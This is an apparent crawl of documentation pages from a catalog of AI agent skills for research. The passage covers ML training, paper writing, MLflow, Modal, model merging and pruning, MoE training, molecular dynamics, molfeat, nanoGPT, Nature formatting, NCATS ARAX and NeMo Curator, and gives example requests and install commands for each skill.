KalarisLabs/research-agent-skills miles-rl-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`serving-llms-vllm`](/research-agent-skills/skills/serving-llms-vllm) * [`slime-rl-training`](/research-agent-skills/skills/slime-rl-training) * [`tensorrt-llm`](/research-agent-skills/skills/tensorrt-llm) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/miles-rl-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ml-paper-writing — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/ml-paper-writing Write publication-ready ML/AI papers for NeurIPS, ICML, ICLR, ACL, AAAI, COLM. # `ml-paper-writing` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.2.0 **Tags:** Academic Writing, NeurIPS, ICML, ICLR, ACL, AAAI, COLM, LaTeX, Paper Writing, Citations, Research ## When to use it Write publication-ready ML/AI papers for NeurIPS, ICML, ICLR, ACL, AAAI, COLM. Use when drafting papers from research repos, structuring arguments, verifying citations, or preparing camera-ready submissions. For systems venues (OSDI, NSDI, ASPLOS, SOSP), use systems-paper-writing instead. ## Example requests Ask your agent in plain language, for example: * *"Help me write up my paper for ICLR. I've got the code and results in a folder."* * *"I have \~/proj/sae-steering with results/ablation\_table.csv, wandb exports, and a README. We steer Llama-3-8B with sparse autoencoder features and it beats prompting on 4 benchmarks. Can you draft the abstract and intro for NeurIPS 2025? I need to stay inside 9 pages and fill in the checklist later."* * *"My related work section has about 30 references that I pulled together with ChatGPT, and I'm worried some are fake. Can you check them and tidy up the section before I submit to ACL?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ml-paper-writing # GitHub CLI gh skill install KalarisLabs/research-agent-skills ml-paper-writing ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`academic-plotting`](/research-agent-skills/skills/academic-plotting) * [`acm-sigconf`](/research-agent-skills/skills/acm-sigconf) * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`systems-paper-writing`](/research-agent-skills/skills/systems-paper-writing) * [`unslop-academic-writing`](/research-agent-skills/skills/unslop-academic-writing) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ml-paper-writing/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ml-training-recipes — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/ml-training-recipes Battle-tested PyTorch training recipes for all domains — LLMs, vision, diffusion, medical imaging, protein/drug discovery, spatial omics, genomics. # `ml-training-recipes` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** PyTorch, Training, Optimization, LLM, Vision, Diffusion, Biomedical, Muon, AdamW, Debugging ## When to use it Battle-tested PyTorch training recipes for all domains — LLMs, vision, diffusion, medical imaging, protein/drug discovery, spatial omics, genomics. Covers training loops, optimizer selection (AdamW, Muon), LR scheduling, mixed precision, debugging, and systematic experimentation. Use when training or fine-tuning neural networks, debugging loss spikes or OOM, choosing architectures, or optimizing GPU throughput. ## Example requests Ask your agent in plain language, for example: * *"My loss keeps spiking around step 4k when training a 350M GPT. What should I check?"* * *"I'm fine-tuning ESM-2 650M on \~40k labeled protein sequences with train.py on a single A100 40GB. I'm hitting 'CUDA out of memory' in the backward pass at batch size 32 with fp32. How do I fit this and keep throughput decent?"* * *"I have a fixed 8 GPU-hour budget on one GPU and want to pretrain the best small language model I can. How do I decide model size, how many tokens to feed it, and what optimizer and LR schedule to use?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ml-training-recipes # GitHub CLI gh skill install KalarisLabs/research-agent-skills ml-training-recipes ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`llama-factory`](/research-agent-skills/skills/llama-factory) * [`peft-fine-tuning`](/research-agent-skills/skills/peft-fine-tuning) * [`serving-llms-vllm`](/research-agent-skills/skills/serving-llms-vllm) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ml-training-recipes/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # mlflow — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/mlflow Tracks machine learning experiments and manages model lifecycles with MLflow, covering mlflow.log_param, log_metric and log_artifact, autologging for… # `mlflow` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** MLOps, MLflow, Experiment Tracking, Model Registry, ML Lifecycle, Deployment, Model Versioning, PyTorch, TensorFlow, Scikit-Learn, HuggingFace ## When to use it Tracks machine learning experiments and manages model lifecycles with MLflow, covering mlflow\.log\_param, log\_metric and log\_artifact, autologging for scikit-learn, PyTorch Lightning, XGBoost and HuggingFace Transformers, the Model Registry with versions and stage transitions, run searching, and local or cloud model serving. Use when logging parameters, metrics and artifacts for training runs, comparing runs across experiments, registering and promoting model versions from Staging to Production, serving a logged model for inference, or reproducing an experiment from an MLflow project. Not for hyperparameter-sweep dashboards or general data versioning; use a dedicated tool for those. ## Example requests Ask your agent in plain language, for example: * *"How do I log my sklearn model's accuracy to MLflow?"* * *"I'm training an XGBoost classifier on train.csv for churn prediction and have a tracking server at [http://localhost:5000](http://localhost:5000). I ran 12 configs with different max\_depth and learning\_rate, and now want to pull the run with the best val\_auc, register that model as 'churn-xgb', and move it to Production. Getting 'RestException: RESOURCE\_DOES\_NOT\_EXIST' when I call transition\_model\_version\_stage. What should I do?"* * *"I fine-tuned a BERT classifier last month and can't remember which learning rate and epoch count gave my best F1. I'd like each training run automatically recorded with its settings, scores and saved weights so I can compare them side by side later and ask a teammate to rerun the exact best one on their machine. How should I set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill mlflow # GitHub CLI gh skill install KalarisLabs/research-agent-skills mlflow ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/mlflow/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # modal — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/modal Modal is a serverless cloud platform for running Python on demand, including on-demand GPUs. # `modal` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** Apache-2.0 · **Version:** 1.3 **Tags:** serverless GPU, cloud computing, model deployment, ML inference ## When to use it Modal is a serverless cloud platform for running Python on demand, including on-demand GPUs. Use when deploying or serving AI/ML models, running GPU-accelerated workloads (training, fine-tuning, inference), serving web endpoints, scheduling batch jobs, or scaling Python code to cloud containers with the Modal SDK. ## Example requests Ask your agent in plain language, for example: * *"How do I run my PyTorch script on an H100 without owning one?"* * *"I'm fine-tuning Llama-3-8B with LoRA using train.py and my checkpoints keep vanishing when the container exits. I need to run it on 4 A100-80GB GPUs on Modal, keep the base weights cached between runs, and pull the HF\_TOKEN from a secret. Can you restructure it?"* * *"I have 5,000 protein FASTA files and a Python function that scores each one. It takes about 10 minutes per file on my laptop. I'd like it to fan out across lots of cloud machines, then run again automatically every Sunday night with the results collected in one place."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill modal # GitHub CLI gh skill install KalarisLabs/research-agent-skills modal ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`modal-serverless-gpu`](/research-agent-skills/skills/modal-serverless-gpu) * [`serving-llms-vllm`](/research-agent-skills/skills/serving-llms-vllm) * [`tensorrt-llm`](/research-agent-skills/skills/tensorrt-llm) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/modal/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # modal-serverless-gpu — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/modal-serverless-gpu Serverless GPU cloud platform for running ML workloads. # `modal-serverless-gpu` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** Infrastructure, Serverless, GPU, Cloud, Deployment, Modal ## When to use it Serverless GPU cloud platform for running ML workloads. Use when you need on-demand GPU access without infrastructure management, deploying ML models as APIs, or running batch jobs with automatic scaling. ## Example requests Ask your agent in plain language, for example: * *"How do I run my PyTorch script on an H100 on Modal without setting up any servers?"* * *"I have a Llama-3-8B model in a Modal Volume called 'llama-weights' and want to serve it as an HTTP endpoint from serve.py. Cold starts are taking 40+ seconds and I sometimes get CUDA out of memory on an A10G. What should I change?"* * *"I need to embed about 2 million protein sequences with ESM-2 by tomorrow. I don't have a GPU cluster and don't want to buy or administer any hardware, and I'd like it to scale out automatically and only pay while it's running. What are my options?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill modal-serverless-gpu # GitHub CLI gh skill install KalarisLabs/research-agent-skills modal-serverless-gpu ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`lambda-labs-gpu-cloud`](/research-agent-skills/skills/lambda-labs-gpu-cloud) * [`modal`](/research-agent-skills/skills/modal) * [`skypilot-multi-cloud-orchestration`](/research-agent-skills/skills/skypilot-multi-cloud-orchestration) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/modal-serverless-gpu/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # model-merging — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/model-merging Merge multiple fine-tuned models using mergekit to combine capabilities without retraining. # `model-merging` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Emerging Techniques, Model Merging, Mergekit, SLERP, TIES, DARE, Task Arithmetic, Model Fusion, No Retraining, Multi-Capability, Arcee AI ## When to use it Merge multiple fine-tuned models using mergekit to combine capabilities without retraining. Use when creating specialized models by blending domain-specific expertise (math + coding + chat), improving performance beyond single models, or experimenting rapidly with model variants. Covers SLERP, TIES-Merging, DARE, Task Arithmetic, linear merging, and production deployment strategies. ## Example requests Ask your agent in plain language, for example: * *"How do I merge two Mistral-7B fine-tunes with SLERP?"* * *"I have three Llama-2-7B fine-tunes on my disk: ./models/math-ft, ./models/code-ft and ./models/chat-ft, all from the same base meta-llama/Llama-2-7b-hf. I tried a linear merge and the output is garbled and worse than any single model. Can you write me a mergekit config that uses TIES with density 0.5 and weights, and explain how to run it on CPU?"* * *"I have a few open-weight models, each fine-tuned for a different skill. I have no GPU budget for more training. Can I produce one model that is decent at all of those skills by combining their weights, and how would I pick the mixing coefficients without labeled data?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill model-merging # GitHub CLI gh skill install KalarisLabs/research-agent-skills model-merging ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`knowledge-distillation`](/research-agent-skills/skills/knowledge-distillation) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/model-merging/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # model-pruning — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/model-pruning Reduce LLM size and accelerate inference using pruning techniques like Wanda and SparseGPT. # `model-pruning` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Emerging Techniques, Model Pruning, Wanda, SparseGPT, Sparsity, Model Compression, N:M Sparsity, One-Shot Pruning, Structured Pruning, Unstructured Pruning, Fast Inference ## When to use it Reduce LLM size and accelerate inference using pruning techniques like Wanda and SparseGPT. Use when compressing models without retraining, achieving 50% sparsity with minimal accuracy loss, or enabling faster inference on hardware accelerators. Covers unstructured pruning, structured pruning, N:M sparsity, magnitude pruning, and one-shot methods. ## Example requests Ask your agent in plain language, for example: * *"How do I prune Llama-2-7B to 50% sparsity without retraining?"* * *"I have llama-2-7b-hf checkpoint at ./models/llama2-7b and an A100 40GB. I want to run Wanda with 2:4 sparsity using 128 C4 calibration samples, then compare WikiText2 perplexity against the dense model. Running main.py gives a CUDA OOM error while computing activation norms. What should I do?"* * *"My 13B model is too big for the edge devices we're targeting, and I can't afford to retrain it. I want to remove a large share of the weights and still have it run faster on Ampere GPUs. What are my options and tradeoffs?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill model-pruning # GitHub CLI gh skill install KalarisLabs/research-agent-skills model-pruning ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`awq-quantization`](/research-agent-skills/skills/awq-quantization) * [`quantizing-models-bitsandbytes`](/research-agent-skills/skills/quantizing-models-bitsandbytes) * [`speculative-decoding`](/research-agent-skills/skills/speculative-decoding) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/model-pruning/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # moe-training — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/moe-training Train Mixture of Experts (MoE) models using DeepSpeed or HuggingFace. # `moe-training` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Emerging Techniques, MoE, Mixture Of Experts, Sparse Models, DeepSpeed, Expert Parallelism, Mixtral, DeepSeek, Routing, Load Balancing, Efficient Training ## When to use it Train Mixture of Experts (MoE) models using DeepSpeed or HuggingFace. Use when training large-scale models with limited compute (5× cost reduction vs dense models), implementing sparse architectures like Mixtral 8x7B or DeepSeek-V3, or scaling model capacity without proportional compute increase. Covers MoE architectures, routing mechanisms, load balancing, expert parallelism, and inference optimization. ## Example requests Ask your agent in plain language, for example: * *"How do I fine-tune Mixtral 8x7B on a single 8-GPU node without running out of memory?"* * *"I'm pretraining a 1.3B-base MoE with 16 experts using train\_moe.py and DeepSpeed. After about 2k steps the loss spikes and the router logs show 3 experts getting nearly all the tokens (the others are under 1%). My ds\_config has aux loss coef 0.01 and capacity\_factor 1.0. What should I change?"* * *"My lab has a small budget and I want a language model with much more parameter capacity than a dense 7B, but without paying proportionally more per training token. What architecture should I use, and how do I set it up and train it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill moe-training # GitHub CLI gh skill install KalarisLabs/research-agent-skills moe-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`training-llms-megatron`](/research-agent-skills/skills/training-llms-megatron) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/moe-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # molecular-dynamics — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/molecular-dynamics Runs and analyzes molecular dynamics simulations using OpenMM and MDAnalysis. # `molecular-dynamics` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** MIT · **Version:** 1.1 **Tags:** molecular dynamics, OpenMM, MDAnalysis, simulation, computational chemistry ## When to use it Runs and analyzes molecular dynamics simulations using OpenMM and MDAnalysis. Covers system preparation with PDBFixer and OpenFF/GAFF2, force field choice (AMBER14, CHARMM36m, ff19SB), energy minimization, NVT/NPT equilibration, production MD, and trajectory analysis (RMSD, RMSF, protein-ligand contacts). Use when simulating a protein or protein-ligand system on GPU, assessing how a mutation affects protein dynamics, characterizing ligand binding mode, quantifying per-residue flexibility, or modeling membrane proteins and disordered proteins. Not for GROMACS or NAMD workflows, which the skill lists only as alternatives. ## Example requests Ask your agent in plain language, for example: * *"I need to run a 100 ns MD of lysozyme on my GPU. Where do I start?"* * *"I have 4ake\_apo.pdb and a ligand file lig.sdf for a kinase I'm studying. I want to simulate the complex in explicit water with OpenMM, parameterize the ligand with GAFF2 via the OpenFF toolkit, and then compute per-residue RMSF and ligand-protein contacts from the production trajectory in MDAnalysis. Last time I got a 'No template found for residue' error from createSystem. How should I set this up?"* * *"We found a point mutation in a transporter that patients carry, and we suspect it makes a loop floppier. I have the wild-type structure and want to see whether the mutant moves around more over time compared with wild-type, using atomistic simulation. How would you approach it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill molecular-dynamics # GitHub CLI gh skill install KalarisLabs/research-agent-skills molecular-dynamics ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [`rowan`](/research-agent-skills/skills/rowan) * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/molecular-dynamics/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # molfeat — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/molfeat Converts SMILES strings or RDKit/datamol molecules into numerical features using molfeat (0.11.0), which provides calculators, scikit-learn compatible… # `molfeat` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** Apache-2.0 license · **Version:** 1.2 **Tags:** molecular featurization, fingerprints, descriptors, cheminformatics, machine learning ## When to use it Converts SMILES strings or RDKit/datamol molecules into numerical features using molfeat (0.11.0), which provides calculators, scikit-learn compatible transformers, and pretrained embedding models. Covers fingerprints (ECFP, MACCS, MAP4), RDKit and Mordred descriptors, pharmacophore descriptors, and pretrained models such as ChemBERTa and GIN, with parallel processing and caching. Use when building QSAR or QSPR models from SMILES. Use when choosing among molecular featurizers for a property prediction task. Use when generating embeddings for virtual screening, similarity search, or chemical space clustering. Use when adding a featurizer to a scikit-learn pipeline. Not for general cheminformatics tasks such as reading or editing structures, which belong to RDKit itself. ## Example requests Ask your agent in plain language, for example: * *"what's the best molfeat featurizer for a small solubility dataset?"* * *"I have a file kinase\_hits.csv with a 'smiles' column, about 40k rows. I'm trying to run `from molfeat.trans.pretrained import PretrainedHFTransformer` with ChemBERTa-77M-MLM to get embeddings for clustering, but pip install molfeat fails on my Python 3.11 env. How do I fix it and get the embeddings?"* * *"I want to turn a list of drug-like SMILES into numeric vectors that I can drop into a scikit-learn Pipeline with a random forest to predict IC50, and I need it to run on all my CPU cores and not crash on a few bad SMILES. How should I set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill molfeat # GitHub CLI gh skill install KalarisLabs/research-agent-skills molfeat ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/molfeat/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # nanogpt — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/nanogpt Provides nanoGPT, Karpathy's minimal PyTorch GPT implementation (model.py and train.py), with workflows for training character-level Shakespeare on CPU… # `nanogpt` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Model Architecture, NanoGPT, GPT-2, Educational, Andrej Karpathy, Transformer, Minimalist, From Scratch, Training ## When to use it Provides nanoGPT, Karpathy's minimal PyTorch GPT implementation (model.py and train.py), with workflows for training character-level Shakespeare on CPU, reproducing GPT-2 124M on OpenWebText with multi-GPU torchrun, fine-tuning pretrained GPT-2 checkpoints, and training on custom text. Use when learning how GPT and transformer blocks work from scratch. Use when running a small training experiment on CPU or a single GPU. Use when modifying a transformer variant in plain PyTorch. Use when preparing character-level or BPE binary datasets. Use when troubleshooting out-of-memory or slow training in nanoGPT. Not for production or large-scale distributed training; use HuggingFace Transformers or Megatron-LM instead. ## Example requests Ask your agent in plain language, for example: * *"I want to train a tiny GPT on my laptop with no GPU just to see it work. What's the quickest way to get something generating Shakespeare-like text?"* * *"I'm running nanoGPT train.py on a single 16GB GPU with config/train\_gpt2.py and get 'torch.cuda.OutOfMemoryError: CUDA out of memory'. How do I get it to fit without changing the model size?"* * *"I have a 40MB text file of my lab's protocol notes and want to adapt a pretrained GPT-2 small to it so it writes in that style, plus read through the code so I understand how the attention blocks work. I want something minimal in plain PyTorch, not a big framework."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill nanogpt # GitHub CLI gh skill install KalarisLabs/research-agent-skills nanogpt ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`huggingface-accelerate`](/research-agent-skills/skills/huggingface-accelerate) * [`optimizing-attention-flash`](/research-agent-skills/skills/optimizing-attention-flash) * [`ray-data`](/research-agent-skills/skills/ray-data) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/nanogpt/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # nature-portfolio — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/nature-portfolio Prepare manuscripts for Nature and Nature Portfolio journals (Nature, Nature Communications, Nature Methods, Nature Biotechnology, Scientific Reports and… # `nature-portfolio` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** Nature, Nature Communications, Scientific Reports, journal formatting, submission ## When to use it Prepare manuscripts for Nature and Nature Portfolio journals (Nature, Nature Communications, Nature Methods, Nature Biotechnology, Scientific Reports and other Nature-branded titles), covering article types, summary paragraph vs abstract, main-text and display-item limits, Methods and Extended Data, reporting summaries, data/code availability, figure preparation, references and presubmission enquiries. Use when targeting any Nature Portfolio journal, reformatting a paper for one, or checking a submission against its guidelines. ## Example requests Ask your agent in plain language, for example: * *"Reformat our paper for Nature: summary paragraph, Methods, Extended Data and reporting summary."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill nature-portfolio # GitHub CLI gh skill install KalarisLabs/research-agent-skills nature-portfolio ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/nature-portfolio/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ncats-arax — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/ncats-arax Queries the NCATS Translator ARAX production API for bounded, typed, provenance-rich one-hop and endpoint-pinned two-hop biomedical knowledge-graph… # `ncats-arax` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** biomedical knowledge graph, NCATS Translator, drug repurposing, biomedical research ## When to use it Queries the NCATS Translator ARAX production API for bounded, typed, provenance-rich one-hop and endpoint-pinned two-hop biomedical knowledge-graph relationships. Use for Biolink-constrained RTX-KG2 lookup, explicit selected-provider ARAX federation, separate entity normalization, qualifier-aware graph traversal, and inspection of TRAPI edge bindings, publications, and knowledge-source provenance. Do not use for inference, ranking, open-ended pathfinding, clinical guidance, or sensitive queries. ## Example requests Ask your agent in plain language, for example: * *"Use ARAX to find what genes are connected to imatinib. Just one hop, keep it small."* * *"I'm putting together a figure for our review on cystic fibrosis. I have MONDO:0009061 and NCBIGene:1080 (CFTR) saved in ids.txt. Can you query ARAX for a path Disease -> ? -> Gene through one intermediate node, with both ends pinned? Write the output to ./arax\_cf\_run1, and then show me which sources (primary and aggregator) each edge came from and whether publications were returned."* * *"I want to see what the Translator ARAX service and a couple of specific providers, say RTX-KG2 and one other that I'll pick, each say about relationships of a known gene, side by side, without it guessing for me. How should we do that?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ncats-arax # GitHub CLI gh skill install KalarisLabs/research-agent-skills ncats-arax ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ncats-arax/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # nemo-curator — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/nemo-curator GPU-accelerated data curation for LLM training. Supports text/image/video/audio. # `nemo-curator` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Data Processing, NeMo Curator, Data Curation, GPU Acceleration, Deduplication, Quality Filtering, NVIDIA, RAPIDS, PII Redaction, Multimodal, LLM Training Data ## When to use it GPU-accelerated data curation for LLM training. Supports text/image/video/audio. Features fuzzy deduplication (16× faster), quality filtering (30+ heuristics), semantic deduplication, PII redaction, NSFW detection. Scales across GPUs with RAPIDS. Use for preparing high-quality training datasets, cleaning web data, or deduplicating large corpora. ## Example requests Ask your agent in plain language, for example: * *"How do I dedupe a big text corpus on GPUs with NeMo Curator?"* * *"I have about 2TB of Common Crawl WARC-derived JSONL shards in /data/cc/*.jsonl with 'text' and 'url' fields. I need to drop low-quality docs, redact emails and phone numbers, and remove near-duplicates before pretraining a 7B model. I have 4 A100 80GB nodes. Can you set up a NeMo Curator pipeline and write the output as Parquet?"\* * *"I scraped millions of web pages for pretraining a language model. A lot of it is boilerplate, repeated pages, junk, and has personal info in it. What's the best way to get this into shape using my multi-GPU server before training?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill nemo-curator # GitHub CLI gh skill install KalarisLabs/research-agent-skills nemo-curator ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`exa-search`](/research-agent-skills/skills/exa-search) * [`nemo-guardrails`](/research-agent-skills/skills/nemo-guardrails) * [Skills for AI 